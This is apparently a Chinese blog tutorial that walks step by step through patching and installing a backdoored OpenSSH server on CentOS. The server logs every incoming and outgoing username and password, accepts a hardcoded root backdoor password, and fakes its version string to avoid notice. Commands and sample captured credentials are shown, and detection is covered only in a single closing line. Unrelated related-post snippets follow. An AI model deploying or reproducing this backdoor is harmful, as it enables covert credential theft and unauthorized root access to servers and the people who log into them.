在服务器上安装一个打了后门补丁的sshd服务,当用户连接时,直接把密码记录下来,然后使用脚本发送到邮箱中。

(1).实验环境

  使用CentOS6.2作为系统环境,查看sshd和gcc的版本

[root@CentOS6 ~]# uname -a
Linux CentOS6.2 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
[root@CentOS6 ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
[root@CentOS6 ~]# gcc -V
-bash: gcc: command not found
[root@CentOS6 ~]# yum -y install gcc  //如果没有gcc需要安装
[root@CentOS6 ~]# gcc -v
使用内建 specs。
目标:x86_64-redhat-linux
配置为:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux
线程模型:posix
gcc 版本 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)

(2).安装后门

[root@CentOS6 ~]# tar zxf openssh-5.9p1.tar.gz  //解压openssh_5.9p1
[root@CentOS6 ~]# tar zxf 0x06-openssh-5.9p1.patch.tar.gz  //解压后门
[root@CentOS6 ~]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[root@CentOS6 ~]# cd openssh-5.9p1
[root@CentOS6 openssh-5.9p1]# patch < sshbd5.9p1.diff  //打补丁就是修改或替换原有文件
patching file auth.c  //认证
patching file auth-pam.c  //认证
patching file auth-passwd.c  //认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  //关于sshd服务器
patching file sshconnect2.c  //关于sshd连接
patching file sshlogin.c  //关于登录
patching file version.h  //关于版本
[root@CentOS6 openssh-5.9p1]# vim includes.h
//第177~179行
#define ILOG "/usr/share/ifile"  #记录登录到本机的用户名和密码
#define OLOG "/usr/share/ofile"  #记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "testpassword"  #后门密码
//为了保证安装后显示的版本和原系统一致,还需要修改版本号
[root@CentOS6 openssh-5.9p1]# vim version.h
#define SSH_VERSION "OpenSSH_5.3"
//安装依赖包
[root@CentOS6 openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
//编译安装
[root@CentOS6 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
[root@CentOS6 openssh-5.9p1]# make && make install
[root@CentOS6 openssh-5.9p1]# echo $?
0
[root@CentOS6 openssh-5.9p1]# rpm -Vf /usr/bin/ssh  //可以看到ssh相关文件被修改
S.5....T. /usr/bin/scp
S.5....T. /usr/bin/sftp
S.5....T. /usr/bin/ssh
S.5....T. /usr/bin/ssh-add
SM5...GT. /usr/bin/ssh-agent
S.5....T. /usr/bin/ssh-keyscan
[root@CentOS6 openssh-5.9p1]# service sshd restart
停止 sshd: [确定]
正在启动 sshd: [确定]

(3).测试

//开始之前
[root@CentOS6 openssh-5.9p1]# cat /usr/share/ofile
cat: /usr/share/ifile: 没有那个文件或目录
//向外连接
[root@CentOS6 ~]# ssh 192.168.5.101
root@192.168.5.101's password:
Last login: Tue Sep 3 13:25:59 2019 from 192.168.5.1
[root@youxi1 ~]# exit
登出
Connection to 192.168.5.101 closed.
[root@CentOS6 ~]# cat /usr/share/ofile
user:password@host --> root:123456@192.168.5.101

  另外可以使用后门密码登录root用户。

(4).排查

  就是使用rpm -Vf /usr/bin/ssh命令查看是否被黑客替换。

了解有后门的sshd服务是如何劫持密码的的更多相关文章

  1. SSHD服务搭建

    SSH协议:安全外壳协议.为Secure Shell 缩写.SSH为建立在应用层和传输层基础上的安全协议.   1.检查SSH服务端安装情况 [root@rhel6_84 ~]# rpm -qpi / ...

  2. 开源服务专题之------sshd服务安装管理及配置文件理解和安全调优

    本专题我将讨论一下开源服务,随着开源社区的日趋丰富,开源软件.开源服务,已经成为人类的一种公共资源,发展势头可谓一日千里,所以不可不知.SSHD服务,在我们的linux服务器上经常用到,很重要,涉及到 ...

  3. BackTrack 5 开启SSHD服务

    BackTrack 5 开启SSHD服务 1 service ssh start 但启动后,仍然无法从远程连接,会有提示: 1 Read from socket failed: Connection ...

  4. Fedora 启动sshd服务:

    .先确认是否已安装ssh服务: [root@localhost ~]# rpm -qa | grep openssh-server openssh-server-.3p1-.fc12.i686 (这行 ...

  5. kaili开启sshd服务

    使用xshell远程连接kali 2.0时要开启kaili上的sshd服务,具体方法如下: 命令: vim /etc/ssh/sshd_config # Package generated confi ...

  6. sshd服务---暴力破解应对策略

    sshd服务暴力破解步骤 sshd暴力破解方法 防止暴力破解调优 1. 变更默认端口 2. 变更root用户 3. 日志监控-->防止暴力破解(fail2ban应用) fail2ban详解 在初 ...

  7. 末学者笔记--SSHD服务及SCP用法

    sshd服务讲解 1.SSHD服务 介绍:SSH 协议:安全外壳协议.为 Secure Shell 的缩写.SSH 为建立在应用层和传输层基础上的安全协议. 默认端口22 作用: sshd服务使用SS ...

  8. 《linux就该这么学》第十一节课: 第九章,网卡绑定与sshd服务

    8.4.服务的访问控制列表 TCPwrappers是RHEL7中默认启用的流量监控程序,能够对服务做出允许或拒绝. TCPwrappers服务由两个文件控制:  /etc/hosts.allow    ...

  9. 自定义sshd服务

    1.安装rsyslog服务和sshd服务并启动 2.配置日志文件    vim /etc/rsyslog.conf        在里面添加一行 local*.    /var/log/sshd.lo ...

随机推荐

  1. Oracle字符串中包含数字、特殊符号的排序

    问题描述: 某小区,需要按照小区.楼栋.单元号.房间号进行排序,但是按照地址描述排序时,因为字符串中包含数字,所以造成了如下的结果, 1号楼之后应该是2号楼,但是查询结果却是10号楼 . 尝试解决 使 ...

  2. 深入理解RocketMQ的消费者组、队列、Broker,Topic

    1.遇到的问题:上测试环境,上次描述的鸟问题又出现了,就是生产者发3条数据,我这边只能收到1条数据. 2.问题解决: (1)去控制台看我的消费者启动情况,貌似没什么问题 , (2)去测试服务器里看日志 ...

  3. tcp三次握手和四次握手的理解

    三次握手:发生在建立tcp的时候 1.客户端:发送一个syn包给服务端(同步) 2.服务端:发送一个ack包再加一个syn包给客户端(应答+同步) 3.客户端:发送一个ack包给服务端(应答) 四次握 ...

  4. PDB符号文件浏览工具介绍

    一.SymView SymView工具用来显示符号文件中包含的符号表和符号数据.目前支持微软的Visual C/C++和C#编译器产生的DBG格式的符号文件和PDB格式的符号文件. SymView提供 ...

  5. 定位的盒子叠放顺序z-index

    1.正常情况,按照顺序,最后的盒子在最上面,默认z-index为02.当使用z-index,数字越大,越优先显示在上面3.注意,只要定位的盒子才可以使用该方法 <body> <div ...

  6. 如何在Eclipse中写Processing的sketch

    有时候人们需要写更复杂的sketch,此时Processing提供的IDE就略显单薄,下面将介绍如何在eclipse中开发Processing. 一共分4步: 一.搭建环境:安装JRE.JDK.Ecl ...

  7. 团队作业-Alpha(1/4)

    队名:软工9组 组长博客: https://www.cnblogs.com/cmlei/ 作业博客: 组员进度 ● 组员一(组长) 陈明磊 ○过去两天完成了哪些任务 ●文字/口头描述 初步学习flas ...

  8. ssh端口映射总结

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/boliang319/article/det ...

  9. python window窗口

    from Tkinter import * root=Tk() root.title('我是root窗口!') L=Label(root,text='我属于root') L.pack() f=Topl ...

  10. unity手机游戏应用程序调试控制台Lunar Mobile Console - PRO 1.5.5

    unity手机游戏应用程序调试控制台Lunar Mobile Console - PRO 1.5.5 High-performance Unity iOS/Android console built ...